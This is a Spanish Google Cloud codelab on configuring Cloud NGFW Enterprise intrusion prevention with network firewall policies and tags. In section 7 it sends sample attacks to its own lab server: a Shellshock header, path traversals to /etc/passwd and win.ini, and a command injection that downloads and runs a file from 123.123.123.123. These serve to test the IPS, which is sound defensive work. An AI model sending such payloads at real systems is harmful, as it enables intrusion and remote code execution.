1. Introducción
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall es un servicio de firewall completamente distribuido con capacidades de protección avanzadas, microsegmentación y cobertura generalizada para proteger tus cargas de trabajo de Google Cloud de ataques internos y externos.
Cloud NGFW tiene los siguientes beneficios:
- Servicio de firewall distribuido: Cloud NGFW proporciona una aplicación con estado, completamente distribuida y basada en host en cada carga de trabajo para habilitar la arquitectura de seguridad de confianza cero.
- Implementación y configuración simplificadas: Cloud NGFW implementa políticas de firewall jerárquicas y de red que se pueden adjuntar a un nodo de jerarquía de recursos. Estas políticas proporcionan una experiencia de firewall coherente en toda la jerarquía de recursos de Google Cloud.
- Control detallado y microsegmentación: la combinación de políticas de firewall y etiquetas controladas por Identity and Access Management (IAM) proporciona un control detallado del tráfico norte-sur y este-oeste, hasta una sola VM, en las redes y organizaciones de nube privada virtual (VPC).
Cloud NGFW está disponible en los siguientes niveles:
- Conceptos básicos de firewall de Cloud de nueva generación
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise agrega el Servicio de prevención de intrusiones (IPS), una capacidad de capa 7, a la estructura de firewall distribuida de Google Cloud. La inspección de TLS es compatible con la inspección del tráfico encriptado por TLS, pero está fuera del alcance de este codelab (consulta el Codelab de Cloud NGFW Enterprise con inspección de TLS).
Ahora puedes implementar inspecciones confiables de firewall de nueva generación (NGFW) de capa 7 con controles detallados, sin hacer cambios en la arquitectura de la red ni en los parámetros de configuración de enrutamiento.
Para activar e implementar el control de firewall de capa 7 con IPS, debes realizar las siguientes tareas:
- Crear un conjunto de extremos de firewall zonales administrados por Google Cloud.
- De forma opcional, crea una política de inspección de TLS (no se aborda en este codelab)
- De manera opcional, crea una configuración de confianza (no se aborda en este codelab)
- Asocia estos extremos a las redes de nube privada virtual (VPC) en las que necesitas el servicio Cloud NGFW Enterprise.
- Realiza cambios sencillos a tus políticas y reglas de firewall existentes para especificar los perfiles de prevención de amenazas para las diversas rutas de tráfico.
Políticas de firewall de red
La política de firewall de red actúa como un contenedor para las reglas de firewall. Las reglas definidas en una política de firewall de red no se aplican en ningún lugar hasta que la política esté asociada con una red de VPC. Cada red de VPC puede tener una política de firewall de red asociada. Las políticas de firewall de red admiten etiquetas controladas por IAM (o solo etiquetas) en las reglas de firewall, que reemplazan las etiquetas de red actuales y se pueden usar para proporcionar identidad a la carga de trabajo.
Compartir una política de firewall de red entre redes y la integración con etiquetas controladas por IAM simplifica en gran medida la configuración y la administración de los firewalls.
Con la introducción de la política de firewall de red, las políticas de firewall de Google Cloud ahora consta de los siguientes componentes:
- Política de firewall jerárquica
- Reglas de firewall de VPC
- Política de firewall de red ( global y regional)
Las políticas de firewall jerárquicas son compatibles con los nodos de la organización y la carpeta dentro de la jerarquía de recursos, mientras que las reglas de firewall de VPC y las políticas de firewall de red se aplican a nivel de VPC. Una gran diferencia entre las reglas de firewall de VPC y las políticas de firewall de red es que las reglas de firewall de VPC pueden aplicarse solo a una red de VPC, mientras que las políticas de firewall de red se pueden vincular a una sola VPC o grupo de VPC, entre otros beneficios, como las actualizaciones por lotes.
Por último, también están las reglas de firewall implícitas que se incluyen en cada red de VPC:
- Una regla de salida cuya acción es permitir, el destino es 0.0.0.0/0
- Una regla de entrada cuya acción es denegar, el origen es 0.0.0.0/0
De forma predeterminada, la secuencia de aplicación se muestra en el siguiente diagrama:
Ten en cuenta que se puede intercambiar el orden de aplicación entre las reglas de firewall de VPC y la política de firewall de red global. Los clientes pueden especificar el orden de aplicación en cualquier momento con un comando de gcloud.
Etiquetas controladas por IAM
Las nuevas etiquetas integradas en las reglas de políticas de firewall de red son recursos de pares clave-valor definidos a nivel de la organización o a nivel de proyecto de la jerarquía de recursos de Google Cloud. Esta etiqueta contiene un control de acceso de IAM, como su nombre indica, que especifica quién puede hacer qué en la etiqueta. Los permisos de IAM, por ejemplo, permiten que se especifique qué principales pueden asignar valores a las etiquetas y qué principales pueden adjuntar etiquetas a los recursos. Una vez que se aplica una etiqueta a un recurso, las reglas de firewall de red pueden usarla para permitir y denegar el tráfico.
Las etiquetas se adhieren al modelo de recursos de herencia de Google Cloud, lo que significa que las etiquetas y sus valores se transmiten hacia abajo en la jerarquía desde sus elementos superiores. Como resultado, las etiquetas se pueden crear en un lugar y, luego, usarse en otras carpetas y proyectos de la jerarquía de recursos. Visita esta página para obtener detalles sobre las etiquetas y las restricciones de acceso.
Las etiquetas no deben confundirse con las etiquetas de red. Las últimas son cadenas que pueden agregarse a instancias de Compute Engine. se asocian con la instancia y desaparecen cuando la instancia se retira. Las reglas de firewall de VPC pueden incluir etiquetas de red, pero como no se consideran recursos de la nube, no están sujetas al control de acceso de IAM.
Ten en cuenta que las etiquetas y las etiquetas controladas por IAM se usan indistintamente en este documento.
Qué compilarás
Este codelab requiere un solo proyecto y la capacidad de crear una red de VPC con conectividad pública, y demostrará cómo Cloud NGFW Enterprise puede proporcionar funcionalidad IPS de la siguiente manera:
- Inspecciona flujos dentro de la VPC o de subred [este a oeste]
- Inspeccionar flujos de entrada desde Internet [Norte-Sur]
Los flujos que se inspeccionarán se seleccionarán con los parámetros de coincidencia del firewall de Cloud, que incluyen 5 tuplas (IP de origen, IP de destino, protocolo, puerto de origen, puerto de destino) y etiquetas. La inspección de TLS no se incluye en este codelab.
La base de reglas de la política de firewall de red será similar a la siguiente tabla:
Prioridad | Dirección | Destino | Origen | Destino | Acción | Tipo |
100 | Salida | Quarantine_Tag | Cualquiera | Cualquiera | Rechazar | Imprescindibles |
1000 | Entrada | Server_Tag | Rangos de verificación de estado | Cualquiera | Permitir | Imprescindibles |
2000 | Entrada | Cualquiera | Rangos de Identity-Aware Proxy | Cualquiera | Permitir | Imprescindibles |
3000 | Entrada | Cualquiera | Ubicación geográfica y GCTI | Cualquiera | Rechazar | Estándar |
4000 | Salida | Cualquiera | Cualquiera | Ubicación geográfica y GCTI | Rechazar | Estándar |
5000 | Salida | Cualquiera | Cualquiera | FQDN de actualización del sistema | Permitir | Estándar |
6000 | Entrada | Server_Tag | 10.0.0.0/24 | Cualquiera | IPS | Enterprise |
7000 | Entrada | Server_Tag | CloudNAT_IP | Cualquiera | IPS | Enterprise |
Qué aprenderás
- Cómo crear una política de firewall de red global
- Cómo crear y usar etiquetas con política de firewall de red
- Cómo configurar y usar el Servicio de prevención de intrusiones de Cloud NGFW Enterprise
Requisitos
- Proyecto de Google Cloud
- Conocimiento sobre la implementación de instancias y la configuración de componentes de redes
- Conocimiento de la configuración del firewall de VPC
2. Antes de comenzar
Crear o actualizar variables
En este codelab, se usa $variables para facilitar la implementación de la configuración de gcloud en Cloud Shell.
En Cloud Shell, ejecuta los siguientes comandos y reemplaza la información entre corchetes según sea necesario (omite la configuración del proyecto si ya se estableció el proyecto). Se usa una variable diferente para los recursos a nivel de la organización si hay varias, p.ej., extremos de firewall.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. Habilita las APIs
Habilita las APIs si aún no lo hiciste:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Creación de extremos y perfiles de seguridad empresariales de Cloud NGFW
Dado que la creación del extremo empresarial de Cloud NGFW tarda alrededor de 20 minutos, se creará primero y la configuración base se puede realizar en paralelo mientras se crea el extremo.
Crea el perfil de seguridad y el grupo de perfiles de seguridad:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
Resultado esperado:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
Confirma que los recursos se hayan creado de forma correcta:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Resultado esperado:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
Crea el extremo Enterprise de Cloud NGFW:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
Ejecuta el siguiente comando para confirmar que se está creando el extremo (ESTADO: CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Resultado esperado (ten en cuenta que el formato del resultado puede variar según el cliente que se utilice):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
También puedes ejecutar el siguiente comando para obtener más detalles:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Resultado esperado:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
El proceso de creación del extremo tarda unos 20 minutos. Continúa con la sección Configuración básica para crear los recursos necesarios en paralelo.
5. Configuración básica
Continúa con las siguientes secciones si prefieres crear manualmente los recursos base.
Red y subred de VPC
Red y subred de VPC
Crea la red y subred de VPC:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Crea los Cloud Routers y las puertas de enlace de Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
IInstancias
Crea las instancias cliente y web-server:
gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2' gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --scopes=compute-ro \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils iperf3 tcpdump -y'
Etiquetas a nivel del proyecto
Asigna los permisos de tagAdmin o tagUser al usuario si es necesario:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
Crea la clave y los valores de la etiqueta a nivel del proyecto:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
Vincula las etiquetas a las instancias:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Política de firewall de red global
Crea una política de firewall de red global:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
Crea reglas esenciales de firewall de Cloud para rechazar el tráfico de las instancias en cuarentena (creadas solo a modo de ejemplo y que no se usarán en este codelab) y permitir el tráfico de los rangos de la health-check y del proxy de reconocimiento de identidad:
gcloud compute network-firewall-policies rules create 100 \ --description="block quarantined workloads" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \ --dest-ip-ranges=0.0.0.0/0 gcloud compute network-firewall-policies rules create 1000 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 2000 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --src-ip-ranges=35.235.240.0/20
Crear reglas estándar de firewall de Cloud para rechazar el tráfico de entrada y salida de países bajo embargo, IP maliciosas conocidas y nodos de salida de ToR en países sujetos a embargo y solo permite el tráfico de salida a FQDN específicos para las actualizaciones del sistema (se crea solo a modo de ejemplo, no se usa en este codelab):
gcloud compute network-firewall-policies rules create 3000 \ --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=INGRESS \ --src-region-codes CU,IR,KP,SY,XC,XD \ --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 4000 \ --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --dest-region-codes CU,IR,KP,SY,XC,XD \ --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 5000 \ --description "allow system updates" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
Crea reglas de firewall de Cloud para permitir la entrada de tráfico de este a oeste / intra subred y norte-sur / de Internet desde los rangos específicos (estas reglas se actualizarán para habilitar Cloud NGFW Enterprise):
gcloud compute network-firewall-policies rules create 6000 \ --description "allow ingress internal traffic from clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs all \ --src-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud compute network-firewall-policies rules create 7000 \ --description "allow ingress external traffic to server" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --enable-logging \ --src-ip-ranges=$cloudnatip \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Asocia la política de firewall de red a la red de VPC:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
Balanceador de cargas de red TCP/UDP externo
Reserva una dirección IP externa y crea el grupo de instancias y la verificación de estado:
gcloud compute addresses create $prefix-$region-nlbip --region=$region gcloud compute instance-groups unmanaged create $prefix-ig \ --zone $zone gcloud compute instance-groups unmanaged add-instances $prefix-ig \ --instances $prefix-$zone-www --zone $zone gcloud compute health-checks create http $prefix-$region-hc-http80 \ --region $region --port 80
Crea un servicio de backend y una regla de reenvío:
gcloud compute backend-services create $prefix-nlb-bes \ --protocol TCP \ --health-checks $prefix-$region-hc-http80 \ --health-checks-region $region \ --region $region gcloud compute backend-services add-backend $prefix-nlb-bes \ --instance-group $prefix-ig \ --instance-group-zone $zone \ --region $region gcloud compute forwarding-rules create $prefix-nlb-ipv4 \ --load-balancing-scheme EXTERNAL \ --region $region \ --ports 80 \ --address $prefix-$region-nlbip \ --backend-service $prefix-nlb-bes
6. Asociación de extremos empresariales de Cloud NGFW
Vuelve a definir las variables de entorno si es necesario.
Confirma que se completó correctamente la creación del extremo de firewall de Cloud. Continúa solo una vez que el estado se muestre como ACTIVE (durante la creación, el estado esperado será CREATING):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Resultado esperado (ten en cuenta que el formato del resultado puede variar según el cliente que se utilice):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
También puedes ejecutar el siguiente comando para obtener más detalles:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Resultado esperado:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
Asocia el extremo de Cloud NGFW Enterprise a la red de VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
El proceso de asociación tarda unos 10 minutos. Continúa solo una vez que el estado se muestre como ACTIVE (el estado esperado será CREATING durante el proceso de creación):
gcloud network-security firewall-endpoint-associations list
Resultado esperado:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
También puedes ejecutar el siguiente comando para obtener más detalles:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Resultado esperado:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. Reglas de inspección empresarial de Cloud NGFW
Abre una pestaña nueva y, luego, inicia una conexión SSH a la VM del cliente a través de IAP (tendrás que volver a definir las variables en la pestaña nueva):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Define las variables requeridas en la sesión de SSH y establécelas (asegúrate de que los valores sean correctos):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
Ejecuta el comando curl en ambas IP para confirmar que son accesibles:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
Resultado esperado para ambas solicitudes curl:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
Envía ataques de muestra a la IP interna del servidor (tráfico este-oeste / dentro de la VPC). El servidor web debe responder a todas las solicitudes y confirmar que no hay inspección ni prevención de L7 implementada:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Vuelve a enviar los ataques de muestra a la IP del servidor externo a través de Cloud NAT (tráfico entrante norte-sur) y, de manera similar, el servidor web debe responder a todas las solicitudes:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Resultados esperados para las IP públicas y privadas:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Regresa a Cloud Shell y actualiza las reglas de entrada existentes para habilitar la inspección de L7:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
De manera opcional, describe las reglas de firewall para verificar que ambas se hayan actualizado correctamente:
gcloud compute network-firewall-policies rules describe 6000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Resultado esperado:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Regla 7000:
gcloud compute network-firewall-policies rules describe 7000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Resultado esperado:
--- action: apply_security_profile_group description: allow ingress external traffic to server direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: tcp ports: - '80' - ipProtocol: tcp ports: - '443' srcIpRanges: - [cloudnat-ip] priority: 900 ruleTupleCount: 6 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Regresa a la VM del cliente y vuelve a enviar los ataques de muestra a la IP interna del servidor (inspección este-oeste / dentro de la VPC):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Vuelve a enviar los ataques de muestra a la IP del servidor externo a través de Cloud NAT (inspección entrante norte-sur):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
No se reciben respuestas para los primeros ataques según el resultado esperado a continuación, lo que confirma que los ataques de gravedad alta ahora están bloqueados.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Navega a Seguridad de red > Amenazas en la consola de Cloud para verificar los registros (es posible que debas actualizar varias veces si aún no se muestran los ataques).
Elige uno de los ataques y haz clic en “Ver registro de auditoría” en el lado derecho (ábrelo en una pestaña nueva para volver a la versión anterior fácilmente). Expande el ataque para mostrar los detalles:
De manera opcional, reemplaza el filtro del Explorador de registros con la siguiente consulta:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
Las entradas del registro de amenazas deberían verse como se muestra a continuación:
Los paquetes interceptados del firewall de Cloud se pueden verificar con el filtro del Explorador de registros que aparece a continuación (útil para solucionar problemas):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"
Continúa con la inspección de tráfico de Internet (opcional) o cierra la sesión SSH y avanza al siguiente capítulo para ver los pasos de limpieza.
Inspección del tráfico de Internet (opcional)
Como se verificó en la sección anterior, los flujos inspeccionados hasta el momento son dentro de la subred/VPC (este-oeste) y el tráfico entrante de Internet (norte-sur entrante). Cloud NGFW Enterprise también se puede configurar para inspeccionar todo el tráfico de Internet (saliente de norte a sur) creando una nueva regla de salida con Cloud Shell:
gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Vuelve a la VM del cliente y reenvía los ataques de gravedad alta a la IP del servidor externo:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
Resultado esperado:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
Cambia a la pestaña Amenazas en la consola de Cloud para verificar los registros (es posible que debas actualizar varias veces). Los ataques deberían haberse identificado y registrado nuevamente, pero ahora la IP de origen es interna porque primero se activa una regla de salida:
Cierra la sesión de SSH y continúa con la siguiente sección para realizar los pasos de limpieza.
8. Pasos de limpieza
Limpieza de los componentes de Cloud NGFW Enterprise
Enumera las asociaciones existentes de Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations list
Borra la asociación de Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
Enumera los extremos empresariales de Cloud NGFW existentes:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Borra el extremo de Cloud NGFW Enterprise, lo que puede tardar unos 20 minutos:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
Para confirmar que se borró Cloud NGFW Enterprise, ejecuta el siguiente comando:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Borra el grupo de perfiles de seguridad y el perfil de prevención de amenazas:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
Limpieza de la configuración de la base
Continúa con el siguiente paso si prefieres borrar los recursos base.
Define las variables de entorno si es necesario. En Cloud Shell, borra los componentes del balanceador de cargas de red:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
Quita instancias:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
De manera opcional, sigue estos pasos si se cambiaron los roles de tagAdmin y tagUsers:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Quita la clave y los valores de la etiqueta:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Borra la política de red de firewall de Cloud y la asociación:
